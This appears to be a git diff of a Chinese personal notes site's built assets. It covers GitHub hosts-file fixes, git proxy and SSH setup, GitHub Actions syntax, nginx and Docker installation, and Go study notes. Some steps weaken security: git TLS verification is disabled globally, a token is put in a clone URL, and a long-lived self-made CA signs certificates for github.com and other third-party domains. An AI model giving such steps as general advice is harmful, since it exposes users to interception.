+ with open(target_path, 'w') as f:
+ for host in hosts:
+ f.write(f'{host[0]}{host[1]}{host[2]} {host[3]}ms \\n')
+
+
+def sort_sources(source_path: str, target_path: str) -> None:
+ """对源文件(kali 镜像列表)进行排序, 并按照响应时间升序输出到目的文件
+ :param source_path: kali 镜像列表文件路径
+ :param target_path: 按照相应时间升序输出的目的文件路径
+ """
+ print("开始拆分源文件...")
+ # 将源文件拆分为嵌套列表
+ hosts = split_url_to_hosts(source_path)
+ print("拆分完成, 开始排序...")
+ # 对拆分后的嵌套列表进行排序并输出到目的文件
+ sort_write_hosts(hosts, target_path)
+ print("排序完成, 请查看目的文件")
+
+
+if __name__ == '__main__':
+ source_path = os.path.join(os.path.dirname(__file__), 'sources_github.txt')
+ target_path = os.path.join(os.path.dirname(__file__), 'result_github.txt')
+ sort_sources(source_path, target_path)
+
Ctrl+Shift+C
打开元素选择器选择未加载出的头像定位到其在源码中的标签并记下其域名https://www.ipaddress.com/
输入域名并回车得到一个ipC:\\Windows\\System32\\drivers\\etc
host
文件的文件属性中的安全
一栏中的Users
组的权限,勾选完全控制
host
文件,在末尾粘贴以下文字并保存退出,返回原网页刷新即可# GitHub Start(更新于2021.1.22)
+140.82.113.3 github.com
+140.82.114.20 gist.github.com
+
+199.232.96.133 assets-cdn.github.com
+199.232.96.133 raw.githubusercontent.com
+199.232.96.133 gist.githubusercontent.com
+199.232.96.133 cloud.githubusercontent.com
+199.232.96.133 camo.githubusercontent.com
+199.232.96.133 avatars.githubusercontent.com
+199.232.68.133 avatars.githubusercontent.com
+199.232.96.133 avatars0.githubusercontent.com
+199.232.68.133 avatars0.githubusercontent.com
+199.232.28.133 avatars1.githubusercontent.com
+199.232.96.133 avatars1.githubusercontent.com
+199.232.96.133 avatars2.githubusercontent.com
+199.232.28.133 avatars2.githubusercontent.com
+199.232.96.133 avatars3.githubusercontent.com
+199.232.68.133 avatars3.githubusercontent.com
+199.232.96.133 avatars4.githubusercontent.com
+199.232.68.133 avatars4.githubusercontent.com
+199.232.96.133 avatars5.githubusercontent.com
+199.232.68.133 avatars5.githubusercontent.com
+199.232.96.133 avatars6.githubusercontent.com
+199.232.68.133 avatars6.githubusercontent.com
+199.232.96.133 avatars7.githubusercontent.com
+199.232.68.133 avatars7.githubusercontent.com
+199.232.96.133 avatars8.githubusercontent.com
+199.232.68.133 avatars8.githubusercontent.com
+
+# GitHub End
+
如若你得到的ip并非
199.232.96.133
则只需把上面代码中的199.232.96.133
利用查找替换替换为你得到的ip即可(当再次无法看到头像时可以试着重查一次ip然后替换掉原ip)
git config --global user.name "GitHub用户名"
+
git config --global user.email "GitHub绑定邮箱"
+
git config --list
+
user.name
为例)git config --global --unset user.name
+
git config --global --edit user.name '用户名'
+
使用 VSCode 拉取更新与推送修改经常出错, 需要配置代理(以本地 7890 端口为例), 在本地项目根目录下打开命令行进行代理配置:
git config http.proxy http://127.0.0.1:7890
+git config https.proxy http://127.0.0.1:7890
+git config core.gitPorxy socks5://127.0.0.1:7890
+
可以配置全局代理, 但是由于本地还有在用内网的 gitlab, 所以不适合配全局, 这里是针对项目配的
取消代理配置如下:
git config --global --unset http.proxy +git config --global --unset https.proxy +git config --global --unset core.gitPorxy +
在主机创建 ssh key
ssh-keygen -t rsa -C "youremail@example.com"
+
-C(comment)
随便填, 有辨识度就行
运行命令后一路回车默认配置, 根据运行提示找到 公钥 id_rsa.pub
Github 右上角头像 -> Settings -> SSH and GPG keys -> add new ssh key
title 随便填, key 粘贴 id_rsa.pub
的全部内容
在主机上使用
git clone 仓库SSH路径
+
来 clone 仓库
需要注意的是在 Linux 上使用不同的用户创建的 ssh-key 加入到 github 后也只有对应的用户可以使用, 当切换用户后需要将该用户的 ssh-key 也加入到 Github 的 SSH-key 中方可使用
可以使用如下命令查看当前仓库的远程 URL:
git remote -v
+
要想从 https(ssh) 切到 ssh(https) 的话可以如下设置:
# git remote set-url origin xxx
+git remote set-url origin git@github.com:Ayusummer/DailyNotes.git
+
最近更新仓库时总是莫名其妙被重置, 见到了好多奇怪的报错, 包括但不限于
Connection reset by 20.205.243.166 port 22
+fatal: Could not read from remote repository.
+
+Please make sure you have the correct access rights
+and the repository exists.
+
Error: Unable to Fetch from Remote(s)
+kex_exchange_identification: Connection closed by remote host
+Connection closed by UNKNOWN port 65535
+fatal: Could not read from remote repository.
+
+Please make sure you have the correct access rights
+and the repository exists.
+
Error: Unable to Fetch from Remote(s)
+Host key verification failed.
+fatal: Could not read from remote repository.
+
+Please make sure you have the correct access rights
+and the repository exists.
+
最终达成的解决方案是
把本地的密钥对删了, 重新新建一对密钥并将公钥添加到 github ssh key
清除本地 know_hosts
中的 github 条目
如果有 know_hosts.old
文件, 可以直接把这个 old 删了
配置 ssh 使用本地代理, 以 clash 默认 7890 端口为例
配置文件在 ~/.ssh/config
, 不存在则新建, 对于 windows 而言可以是:
写入如下配置
Host github.com
+ Hostname ssh.github.com
+ Port 443
+ User git
+ ProxyCommand connect -H 127.0.0.1:7890 %h %p
+
关闭 VSCode, 重新打开即可, 可以 git fetch 看下效果
至少我如此操作成功修复了, 后续再遇到类似问题再看吧(
参照 Angular
社区的提交规范并结合 emoji, 上面参考链接里这位老哥开发了一款 VSCode
git 规范化提交插件 git-commit-lint-vscode
, 提交的时候可视化选择类型然后再手打详细信息
actions/setup-node@74bc508 # 指向一个 commit
+actions/setup-node@v1.0 # 指向一个标签
+actions/setup-node@master # 指向一个分支
+
workflow
: 持续集成一次运行的过程,就是一个 workflow。job
: 一个 workflow 由一个或多个 jobs 构成,含义是一次持续集成的运行,可以完成多个任务。step
: 每个 job 由多个 step 构成,一步步完成。action
: 每个 step 可以依次执行一个或多个命令(action)。GitHub Actions 的配置文件叫做 workflow 文件,存放在代码仓库的.github/workflows
目录。
name
: name
字段是 workflow 的名称。如果省略该字段,默认为当前 workflow 的文件名。
name: Create Release
+
on
: on
字段指定触发 workflow 的条件,通常是某些事件。
on: push
+
上面代码指定,push
事件触发 workflow。
on
字段也可以是事件的数组。
on: [push, pull_request]
+
on.<push|pull_request>.<tags|branches>
: 指定触发事件时,可以限定分支或标签。
on:
+ push:
+ branches:
+ - master
+
当使用 push
事件时, 可以配置 workflow
运行在指定的 branch
或是 tag
上
如果希望包含 branch
名称模式,或者希望同时包含和排除 branch
名称模式,可以使用 branch
筛选器。当只想排除分支名称模式时,使用branches-ignore
筛选器。注意不能对工作流中的同一事件同时使用 branches
和 branches-ignore
筛选器
对于 tag
处理和上述 branch
处理相似
jobs.<job_id>.name
workflow 文件的主体是jobs
字段,表示要执行的一项或多项任务。
jobs
字段里面,需要写出每一项任务的job_id
,具体名称自定义。job_id
里面的name
字段是任务的说明。
jobs:
+ my_first_job:
+ name: My first job
+ my_second_job:
+ name: My second job
+
上面代码的jobs
字段包含两项任务,job_id
分别是my_first_job
和my_second_job
。
jobs:
+ build:
+ name: Create Release
+
job_id
: build; name
: Create Release
jobs.<job_id>.needs
: needs
字段指定当前任务的依赖关系,即运行顺序。
jobs:
+ job1:
+ job2:
+ needs: job1
+ job3:
+ needs: [job1, job2]
+
上面代码中,job1
必须先于job2
完成,而job3
等待job1
和job2
的完成才能运行。因此,这个 workflow 的运行顺序依次为:job1
、job2
、job3
。
jobs.<job_id>.runs-on
: runs-on
字段指定运行所需要的虚拟机环境。它是必填字段。目前可用的虚拟机如下。
ubuntu-latest,ubuntu-18.04或ubuntu-16.04
+windows-latest,windows-2019或windows-2016
+macOS-latest或macOS-10.14
+
jobs.<job_id>.steps
: steps
字段指定每个 Job 的运行步骤,可以包含一个或多个步骤。每个步骤都可以指定以下三个字段。
jobs.<job_id>.steps.name
:步骤名称。jobs.<job_id>.steps.run
:该步骤运行的命令或者 action。jobs.<job_id>.steps.env
:该步骤所需的环境变量。Source code(zip)
群设置
...
Webhooks
Add webhook
Payload URL
填刚才从钉钉Github机器人那里复制来的webhook链接Add webhook
Failed to connect to github.com port 443 after 21063 ms: Timed out
网不好, 换个结点
OpenSSL SSL_read: Connection was reset, errno 10054
我碰到的情况是本地 git 配置错了, 前阵子在 github 上更改了主邮箱, 相应的本地配置要改下邮箱
git config --global user.email "xxx"
+
sudo apt update
+sudo apt install nginx
+
一旦安装完成,Nginx 将会自动被启动。你可以运行下面的命令来验证它:
sudo systemctl status nginx
+
在你已经在你的服务器上安装和运行了 Nginx,你需要确保你的防火墙被配置好,允许流量通过 HTTP(80
)和 HTTPS(443
)端口。
假设你正在使用UFW
,你可以做的是启用 ‘Nginx Full’ profile,它包含了这两个端口:
sudo ufw allow 'Nginx Full'
+
想要验证状态,输入:
sudo ufw status
+
而如果使用的是厂商的云服务器则需要在服务器的控制面板的防火墙管理面板处放通端口(一般都是默认放通的)
服务器默认已经安装了 OpenSSL, 可以使用如下命令查看其版本及位置
openssl version
+whereis openssl
+
#### 制作CA证书,如果你没有CA证书的话,必须执行
+openssl genrsa 2048 > ca.key # 这是你的CA证书,你可以选择要不要信任CA证书
+
+#### CA证书的公钥,用于信任CA证书,这样你就不必亲自信任每一个用这个CA签名的证书了
+export SUBJ="/C=CN/ST=ST$RANDOM/O=O$RANDOM/OU=OU$RANDOM/CN=CN$RANDOM/emailAddress=$RANDOM@localhost"
+# $SUB这一行的意思请稍后自行领悟,这里RANDOM的用意是,防止大家生成重复的CA然后产生未知问题
+# 如果不知道-subj是什么,不要改。CN写0CN是为了让证书好找(会排到最前面)
+openssl req -new -x509 -days \`expr \\( \\\`date -d 99991231 +%s\\\` - \\\`date +%s\\\` \\) / 86400 + 1\` \\
+ -key ca.key -out ca.pem -subj $SUBJ -extensions v3_ca
+# 上面这节其实是一整行命令(用\\换行,于是显示成了两行)
+# 这里 \`expr \\( \\\`date -d 99991231 +%s\\\` - \\\`date +%s\\\` \\) / 86400 + 1\` 是计算当前时间到yyyymmdd=99991231的日期
+# 整段内容的意思是,让这个证书的有效期到9999年12月31日
+# 我保证RSA失效日期一定比这个日期早……
+# 请不要学习这个把签名签到9999年的坏习惯,涉及网络活动的,最好每年换一个签名。
+# 这里签到9999年的原因是……谁闲着没事监听你的nginx拿到只有你用的证书之后会对你开展中间人攻击呢?
+
+#### 生成nginx需要的证书
+openssl genrsa 1024 > nginx.key # 密钥
+openssl req -new -nodes -key nginx.key -out nginx.csr -subj $SUBJ
+
+#### CA签名
+openssl x509 -req -days \`expr \\( \\\`date -d 99991231 +%s\\\` - \\\`date +%s\\\` \\) / 86400 + 1\` \\
+ -in nginx.csr -out nginx.pem -CA ca.pem -CAkey ca.key -set_serial 0 -extensions CUSTOM_STRING_LIKE_SAN_KU\\
+ -extfile <( cat << EOF
+[CUSTOM_STRING_LIKE_SAN_KU]
+subjectAltName=IP:127.0.0.1, IP: ::1 ,DNS:github.com, DNS:*.github.com, DNS:githubusercontent.com, DNS:*.githubusercontent.com
+keyUsage = nonRepudiation, digitalSignature, keyEncipherment
+EOF
+)
+
+# 这里,使用-extfile对配置文件做临时修改
+# 这样就完成了签名工作
+# 事实上,这里可以多写几个subjectAltName,比如subjectAltName=IP:127.0.0.1, IP: ::1 ,DNS:ads-pixiv.net, DNS:*.ads-pixiv.net, DNS:akamaihd.net, DNS:*.akamaihd.net, DNS:arkoselabs.com, DNS:*.arkoselabs.com, DNS:artstation.com, DNS:*.artstation.com, DNS:discordapp.com, DNS:*.discordapp.com, DNS:discordapp.net, DNS:*.discordapp.net, DNS:discord.com, DNS:*.discord.com, DNS:ext-twitch.tv, DNS:*.ext-twitch.tv, DNS:github.com, DNS:*.github.com, DNS:githubusercontent.com, DNS:*.githubusercontent.com, DNS:google.com, DNS:*.google.com, DNS:hcaptcha.com, DNS:*.hcaptcha.com, DNS:pinimg.com, DNS:*.pinimg.com, DNS:pinterest.com, DNS:*.pinterest.com, DNS:pixiv.net, DNS:*.pixiv.net, DNS:pixivsketch.net, DNS:*.pixivsketch.net, DNS:pximg.net, DNS:*.pximg.net, DNS:steam-chat.com, DNS:*.steam-chat.com, DNS:steamcommunity.com, DNS:*.steamcommunity.com, DNS:steampowered.com, DNS:*.steampowered.com, DNS:steamstatic.com, DNS:*.steamstatic.com, DNS:twitch.tv, DNS:*.twitch.tv, DNS:ubi.com, DNS:*.ubi.com, DNS:v2ex.com, DNS:*.v2ex.com
+# 多写几个的好处就不说了,说多了可能犯法[狗头]
+
+# openssl x509 -noout -text -in nginx.pem
+# 如果你需要检查你生成的pem,或者
+# ( openssl x509 -noout -text -in nginx.pem && cat nginx.pem ) > nginx.crt
+# 上面这句没测试,也不是本讲的内容……
+
cp ca.pem /usr/local/share/ca-certificates/ca.crt
+update-ca-certificates
+mkdir /etc/nginx/ca && sudo cp nginx.pem nginx.key /etc/nginx/ca
+
access_token
使用 https clone 仓库打开 Gitlab->偏好设置->访问令牌
配置一个权限全开的令牌, 点击 创建个人访问令牌
后会出现一个访问令牌字符串, 记录下该字符串, 本文之后将该字符串称为 access_token
在本地添加一条 git 配置, 取消 ssl 验证
git config --global http.sslVerify false
+
然后即可使用 https + access_token clone 仓库了
git clone https://oauth2:[access_token]@gitlab.xxx.com/xxxx.git
+
其实就是在仓库的 https clone 链接中的
https://
后加上oauth2:[access_token]
再把后面的链接拼接上即可
# 创建 gitlab 工作目录
+mkdir xxx
+cd xxx
+
安装所需工具包
sudo apt-get install apt-transport-https ca-certificates curl gnupg-agent software-properties-common
+
更新现有的软件包列表
sudo apt-get update
+
然后将官方 Docker 版本库的 GPG 密钥添加到系统中:
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
+
将 Docker 版本库添加到APT源:
sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu focal stable"
+
用新添加的 Docker 软件包来进行升级更新。
sudo apt update
+
确保要从 Docker 版本库,而不是默认的 Ubuntu 版本库进行安装:
apt-cache policy docker-ce
+
安装 Docker :
sudo apt install docker-ce
+
现在 Docker 已经安装完毕。我们启动守护程序。检查 Docker 是否正在运行:
sudo systemctl status docker
+
系统方面支持
`,18);function G(q,y){const n=l("ExternalLinkIcon");return c(),i("div",null,[d,e("blockquote",null,[e("p",null,[e("a",p,[a("git - Using GitLab token to clone without authentication - Stack Overflow"),s(n)]),u,e("a",h,[a("Personal access tokens | GitLab"),s(n)]),b,e("a",m,[a("执行Git命令时出现各种 SSL certificate problem 的解决办法_officercat的博客-CSDN博客"),s(n)])]),g]),k,e("blockquote",null,[e("p",null,[e("a",v,[a("GitLab installation minimum requirements | GitLab"),s(n)])]),e("p",null,[e("a",f,[a("Ubuntu20.04 搭建 gitlab 服务 - 知乎 (zhihu.com)"),s(n)])])]),_,e("blockquote",null,[e("p",null,[e("a",E,[a("Supported operating systems | GitLab"),s(n)])])]),x,e("blockquote",null,[e("p",null,[e("a",B,[a("ubuntu安装docker详细步骤 - 腾讯云开发者社区-腾讯云 (tencent.com)"),s(n)])]),e("p",null,[e("a",D,[a("Docker 入门指南:如何在 Ubuntu 上安装和使用 Docker - 卡拉云 (kalacloud.com)"),s(n)])])]),A])}const N=o(r,[["render",G],["__file","Gitlab.html.vue"]]);export{N as default}; diff --git "a/assets/Go\350\257\255\350\250\200\345\234\243\347\273\217\345\255\246\344\271\240\351\232\217\347\254\224.html-1fa47d4b.js" "b/assets/Go\350\257\255\350\250\200\345\234\243\347\273\217\345\255\246\344\271\240\351\232\217\347\254\224.html-1fa47d4b.js" new file mode 100644 index 0000000000..391a3e8017 --- /dev/null +++ "b/assets/Go\350\257\255\350\250\200\345\234\243\347\273\217\345\255\246\344\271\240\351\232\217\347\254\224.html-1fa47d4b.js" @@ -0,0 +1 @@ +const l=JSON.parse('{"key":"v-6f5e4e67","path":"/Language/Go/Go%E8%AF%AD%E8%A8%80%E5%9C%A3%E7%BB%8F%E5%AD%A6%E4%B9%A0%E9%9A%8F%E7%AC%94.html","title":"Go 语言圣经学习随笔","lang":"zh-CN","frontmatter":{},"headers":[{"level":2,"title":"CH1 入门","slug":"ch1-入门","link":"#ch1-入门","children":[{"level":3,"title":"ch1.1 Hello World","slug":"ch1-1-hello-world","link":"#ch1-1-hello-world","children":[]},{"level":3,"title":"ch1.2 命令行参数","slug":"ch1-2-命令行参数","link":"#ch1-2-命令行参数","children":[]},{"level":3,"title":"ch1.3 查找重复的行","slug":"ch1-3-查找重复的行","link":"#ch1-3-查找重复的行","children":[]},{"level":3,"title":"ch1.4 GIF 动画","slug":"ch1-4-gif-动画","link":"#ch1-4-gif-动画","children":[]},{"level":3,"title":"ch1.5 获取 URL","slug":"ch1-5-获取-url","link":"#ch1-5-获取-url","children":[]}]},{"level":2,"title":"CH2 程序结构","slug":"ch2-程序结构","link":"#ch2-程序结构","children":[{"level":3,"title":"CH2.1 命名","slug":"ch2-1-命名","link":"#ch2-1-命名","children":[]}]}],"git":{"createdTime":1678901903000,"updatedTime":1689171532000,"contributors":[{"name":"咸鱼型233","email":"ayusummer233@qq.com","commits":5},{"name":"233Official","email":"ayusummr233@gmail.com","commits":1}]},"readingTime":{"minutes":34.24,"words":10272},"filePathRelative":"Language/Go/Go语言圣经学习随笔.md","localizedDate":"2023年3月15日","excerpt":""}');export{l as data}; diff --git "a/assets/Go\350\257\255\350\250\200\345\234\243\347\273\217\345\255\246\344\271\240\351\232\217\347\254\224.html-4ccf7e48.js" "b/assets/Go\350\257\255\350\250\200\345\234\243\347\273\217\345\255\246\344\271\240\351\232\217\347\254\224.html-4ccf7e48.js" new file mode 100644 index 0000000000..ee98cdb7c2 --- /dev/null +++ "b/assets/Go\350\257\255\350\250\200\345\234\243\347\273\217\345\255\246\344\271\240\351\232\217\347\254\224.html-4ccf7e48.js" @@ -0,0 +1,428 @@ +import{_ as u}from"./plugin-vue_export-helper-c27b6911.js";import{r as i,o as d,c as r,b as n,e as s,d as a,w as o,f as e}from"./app-893ba623.js";const k={},m=e('需要先初始化一个 Go 应用
# go mod init [应用名], 例如:
+go mod init GoLearning
+
比如新建一个 HelloWorld.go
package main
+
+import "fmt"
+
+func main(){
+ fmt.Println("Hello World")
+}
+
Go 是一门编译型语言(静态编译), Go 语言的工具链将源代码及其依赖转换成计算机的机器指令
Go 语言提供的工具都可以使用 go
命令来调用, 其包含一系列子命令, 比如
run
命令可以编译一个或多个以 .go
结尾的源文件, 链接库文件, 并运行最终生成的可执行文件build
命令可以将 .go
源文件编译生成对应的可执行的二进制文件, 由于是静态编译, 从而不用担心在系统库更新的时候会产生冲突终端执行 go run HelloWorld.go
或者利用 VSCode+Go 扩展 F5 直接运行此 go 程序文件
Go 语言原生支持 Unicode, 可以处理全世界任何语言的文本
run
命令:
build
命令
Go 语言的代码通过 包(package)
组织, package
类似于其他语言中的 库(libraries)
或者 模块(modules)
一个 package
由位于单个目录下的一个或者多个 .go
源代码文件组成,目录定义 package
的作用。
每个源文件都以一条 package
声明语句开始,这个例子里就是 package main
,表示该文件属于哪个包,紧跟着一系列导入(import)的包,之后是存储在这个文件里的程序语句。
Go 的标准库提供了 100 多个 package
, 以支持常见功能,如输入、输出、排序以及文本处理。比如:
fmt
包含格式化输出、接收输入的函数;
Println
是其中一个基础函数,可以打印以空格间隔的一个或多个值,并在最后添加一个换行符,从而输出一整行。
main
包比较特殊。它定义了一个独立可执行的程序,而不是一个库。在 main
里的 main
函数也很特殊,它是整个程序执行时的入口(译注:C 系语言差不多都这样)。main
函数所做的事情就是程序做的。当然了,main
函数一般调用其它包里的函数完成很多工作(如:fmt.Println
)。
必须告诉编译器源文件需要哪些包,这就是跟随在 package
声明后面的 import
声明扮演的角色。hello world
例子只用到了一个包,大多数程序需要导入多个包。
必须恰当导入需要的包,缺少了必要的包或者导入了不需要的包,程序都无法编译通过。这项严格要求避免了程序开发过程中引入未使用的包(译注:Go 语言编译过程没有警告信息,争议特性之一)。
import
声明必须跟在文件的 package
声明之后。随后,则是组成程序的函数、变量、常量、类型的声明语句(分别由关键字 func
、var
、const
、type
定义)。
学到这里发现最初写的示例下意识开了个目录存放了测试文件, 然后还用了 package main
声明, 感觉不妥:
因此还是只保留根目录下的 main
作为主程序入口, 将 print hello world
另外定义一个 package
和 function
存放并在 main
中导入使用
新建了一个 pkg
目录用来统一存放自定义的 package
, 毕竟后续可能在根目录下添加 docs
, .github
之类的, 比如(随手在 Github Activity 中找了个群友 star 的) Go 项目, 目录很规整
在 pkg
目录下新建了一个 hello
目录用来存放输出语句测试文件
这里新建了两个文件, 都使用了同一个 package
名 hello_test
不过在 main
中导入包的时候仍用的 "GoLearning/pkg/hello"
, 而且如果将其中一个 package
名称改为其他名称则会触发报错, 在 "hello" 中找到了多个 package
因此合理推测一个文件目录下的 go 文件应当同属一个 package
所以为了统一格式, 不如将该目录下的所有文件的 package 名都直接用目录的名称(除了根目录下的 package main)
# go mod init [应用名], 例如:
+go mod init GoLearning
+
别名不一定和包名一样, 有辨识度即可
`,4),T=n("p",null,"此外需要注意的是, 函数名称首字母一定要大写, 否则找不到",-1),z={href:"https://segmentfault.com/q/1010000041390281",target:"_blank",rel:"noopener noreferrer"},H=n("hr",null,null,-1),D=n("p",null,[n("img",{src:"http://cdn.ayusummer233.top/img/202211132228251.png",alt:"image-20221113222851217"})],-1),L=n("hr",null,null,-1),N=n("p",null,[s("除此以外, 还需要注意的是, 当模块内只有一个 go 文件时, 该 go 文件不可以 "),n("code",null,"_test"),s(" 结尾, 否则会被认为是测试文件, 如果在其他模块中需要使用此模块则会引起导入失败")],-1),W=n("p",null,[n("img",{src:"http://cdn.ayusummer233.top/img/202211222138814.png",alt:"image-20221122213851749"})],-1),I=n("p",null,[n("img",{src:"http://cdn.ayusummer233.top/img/202211222139098.png",alt:"image-20221122213950074"})],-1),O=n("p",null,[n("img",{src:"http://cdn.ayusummer233.top/img/202211222139359.png",alt:"image-20221122213930332"})],-1),U=n("p",null,[n("code",null,"_test"),s(" 在 Go 中似乎有特殊含义, 随手写模块时需要注意(这部分内容在 Go 语言圣经第 11 章会讲)")],-1),V={href:"https://gopl-zh.github.io/ch11/ch11-01.html",target:"_blank",rel:"noopener noreferrer"},j={href:"https://gopl-zh.github.io/ch11/ch11-02.html",target:"_blank",rel:"noopener noreferrer"},J=n("hr",null,null,-1),M=n("p",null,[n("img",{src:"http://cdn.ayusummer233.top/img/202211222239244.png",alt:"image-20221122223908189"})],-1),K=e('一个函数的声明由 func
关键字、函数名、参数列表、返回值列表以及包含在大括号里的函数体组成。
这个例子里的
main
函数参数列表和返回值都是空的在学习第五章时会进一步考察
function
的用法
Go 语言不需要在语句或者声明的末尾添加分号,除非一行上有多条语句。实际上,编译器会主动把特定符号后的换行符转换为分号,因此换行符添加的位置会影响 Go 代码的正确解析
比如行末是标识符、整数、浮点数、虚数、字符或字符串文字、关键字
break
、continue
、fallthrough
或return
中的一个、运算符和分隔符++
、--
、)
、]
或}
中的一个)。举个例子,函数的左括号
{
必须和func
函数声明在同一行上,且位于末尾,不能独占一行而在表达式
x+y
中,可在+
后换行,不能在+
前换行以+结尾的话不会被插入分号分隔符,但是以 x 结尾的话则会被分号分隔符,从而导致编译错误)。
需要注意的是, Go 语言中的单引号, 双引号, 反引号的功能是各不相同的
单引号
表示 byte 类型或 rune 类型,对应 uint8 和 int32 类型,默认是 rune 类型。
双引号
才是字符串, 实际上是字符数组; 可以用索引访问某字节, 也可以用 len()
函数来获取字符串所占的字节长度
反引号
表示字符串字面量, 但不支持任何转义序列;
可以理解成 Python 中的 r"string"
, 将内部字符串原样输出, 不转义 \\n, \\t, \\r
等具有特殊含义的字符串
Go 语言在代码格式上采取了很强硬的态度。gofmt
工具把代码格式化为标准格式,并且 go
工具中的 fmt
子命令会对指定包, 否则默认为当前目录中所有 .go
源文件应用 gofmt
命令。
译者注:
- 这个格式化工具没有任何可以调整代码格式的参数,Go 语言就是这么任性
- 这也导致了 Go 语言的 TIOBE 排名较低,因为缺少撕逼的话题)。更重要的是,这样可以做多种自动源码转换,如果放任 Go 语言代码格式,这些转换就不大可能了。
很多文本编辑器都可以配置为保存文件时自动执行 gofmt
,这样你的源代码总会被恰当地格式化。还有个相关的工具:goimports
,可以根据代码需要,自动地添加或删除 import
声明。这个工具并没有包含在标准的分发包中,可以用下面的命令安装:
os
包以跨平台的方式,提供了一些与操作系统交互的函数和变量。程序的命令行参数可从 os
包的 Args
变量获取;
os
包外部使用 os.Args
访问该变量。
os.Args
变量是一个字符串(string)的 切片(slice)(类似于 Python 中的切片, 是一个简化版的动态数组)
例如, 对于切片 a = [1, 2, 3, 4, 5]
可以用 a[i]
访问当个元素, 例如 a[1] = 2
可以用 a[m:n]
访问 a 的子序列, 如 a[0:2] = [1, 2, 3]
左闭右开获取数组元素
package cmd_param
+
+import (
+ "fmt"
+ "os"
+)
+
+// 类似于 echo, 默认分隔符为一个空格
+func Print_cmd_args() {
+ // 定义一个字符串切片, 用于存储命令行参数
+ var getParams string
+ // 分隔符为一个空格
+ var sep string = " "
+ // 第 0 个参数是程序名, 第 1 个参数才是实际传入的首个参数
+ for i := 0; i < len(os.Args); i++ {
+ getParams += os.Args[i] + sep
+ }
+ fmt.Println(getParams)
+}
+
+
导入多个模块时,
gofmt
会按照字典序对模块名排序注释方面与 C/C++ 一致, 单行注释用
//
, 多行注释用/**/
//
到行末之前的内容都是注释, 会被编译器忽略一般来说会在每个包声明前添加注释, 从整体角度对程序做个描述
var 声明定义了两个 string 类型的变量
getParams
和sep
变量会在声明时直接初始化。如果变量没有显式初始化,则被隐式地赋予其类型的 零值(zero value)
数值类型是
0
,字符串类型是空字符串""
如果要在一行里定义两个 string 变量, 可以如下书写:
var getParams, sep string +
+
用于连接字符串
:=
是短变量声明(shrot variable declaration)的一部分, 可用于定义一个或多个变量并根据它们的初始值为这些变量赋予适当类型的语句
a += 1
与a = a + 1
以及a++
等价, 都是语句相对的, 在 C 系语言中,
i++, i--
是表达式, 存在b = a++
的写法, 但是 Go 中不允许这样写此外 Go 中也没有
++i
的写法, 在 Go 中,++
和--
都只能放在变量名后面Go 语言只有 for 循环一种循环语句,
for
循环有很多种形式, 其中一种就如上述代码一样, 形如:for initialization; condition; post { + // zero or more statements +} +
三个部分不需要用括号包围, 但是要有大括号, 且
{
必须与 for 在同一行(像前面说的一样, 因为 Go 编译时会自动给每行加分号, 所以大括号单起一行过不了编译)
initialization
语句是可选的,在循环开始前执行。
initalization
如果存在,必须是一条 简单语句(simple statement),即,短变量声明、自增语句、赋值语句或函数调用。
condition
是一个布尔表达式(boolean expression),其值在每次循环迭代开始时计算。如果为true
则执行循环体语句
post
语句在循环体执行结束后执行,之后再次对condition
求值。condition
值为false
时,循环结束。
for
循环的三个部分都可以省略(分号需要保留, 用于确定位置), 当initialization
和post
都省略时才可以省略分号当三个部分都省略时则构造了个无限循环(类比 Python 中的
While 1:
)// a traditional infinite loop +for { + // ... +} +
可以用
break
或者return
语句终止循环
package main
+
+import (
+ "GoLearning/pkg/cmd_param"
+)
+
+func main() {
+ cmd_param.Print_cmd_args()
+}
+
+
在上述代码中, 命令行参数的获取是这样进行的:
for i := 0; i < len(os.Args); i++ {
+ getParams += os.Args[i] + sep
+}
+
那么首先需要遍历 os.Args
获取其长度, 在进入每次循环时需要先根据索引 i
遍历 os.Args
获取到 os.Args[i]
, 然后再拼接到 getParams
的末尾再拼个空格
可以使用切片来对此步骤进行优化
// 使用切片构造 echo 语句
+func Echo_Slice() {
+ var getParams, sep string
+ sep = " "
+ for _, arg := range os.Args[1:] {
+ getParams += arg + sep
+ }
+ fmt.Println(getParams)
+}
+
Go 中不允许有未使用的局部变量, 但是可以使用空标识符
_
来忽略某个变量
_
可用于在任何语法上需要变量名但是程序逻辑中之处对于已声明的变量, 使用
:=
会报错"no new variables on left side of :="
此时可以使用 = 赋值
每次循环迭代字符串 getParams
的内容都会更新。+=
连接原字符串、空格和下个参数,产生新字符串,并把它赋值给 getParams
。getParams 原来的内容已经不再使用,将在适当时机对它进行垃圾回收。
如果连接涉及的数据量很大,这种方式代价高昂。一种简单且高效的解决方案是使用 strings
包的 Join
函数:
// 使用 strings.Join() 方法构造 echo 语句
+func Echo_Join() {
+ fmt.Println(strings.Join(os.Args[1:], " "))
+}
+
如果不关心输出格式的话, 直接打印 os.Args[1:]
也是可以的
// 不考虑输出格式, 直接打印 os.Args 切片
+func Echo_direct_print_slice() {
+ fmt.Println(os.Args[1:])
+}
+
package main
+
+import (
+ "GoLearning/pkg/cmd_param"
+ "fmt"
+)
+
+func main() {
+ fmt.Println("echo 基本写法:")
+ cmd_param.Print_cmd_args()
+ fmt.Println("echo 切片写法:")
+ cmd_param.Echo_Slice()
+ fmt.Println("echo strings.Join() 写法:")
+ cmd_param.Echo_Join()
+ fmt.Println("echo 直接打印切片:")
+ cmd_param.Echo_direct_print_slice()
+}
+
+
对文件做拷贝、打印、搜索、排序、统计或类似事情的程序都有一个差不多的程序结构:一个处理输入的循环,在每个元素上执行计算处理,在处理的同时或最后产生输出。
本节展示一个名为dup
的程序的三个版本;灵感来自于 Unix 的 uniq
命令,其寻找相邻的重复行。
dup
的第一个版本打印标准输入中多次出现的行,以重复次数开头。该程序将引入 if
语句,map
数据类型以及 bufio
包。
package ch1
+
+import (
+ "bufio"
+ "fmt"
+ "os"
+)
+
+// 打印标准输入中多次出现的行, 以重复次数开头
+func Dup1() {
+ // 创建一个空的 map, 键为 string, 值为 int
+ counts := make(map[string]int)
+ // 创建一个从标准输入读取数据的 Scanner
+ input := bufio.NewScanner(os.Stdin)
+ // 逐行读取标准输入并更新 map counts
+ for input.Scan() {
+ // 遇到 0 时, input.Scan() 退出循环
+ if input.Text() == "0" {
+ break
+ }
+ counts[input.Text()]++
+
+ }
+ // 注意: 忽略input.Err()中可能的错误
+ for line, n := range counts {
+ if n > 1 {
+ fmt.Printf("%d\\t%s\\n", n, line)
+ }
+ }
+}
+
+
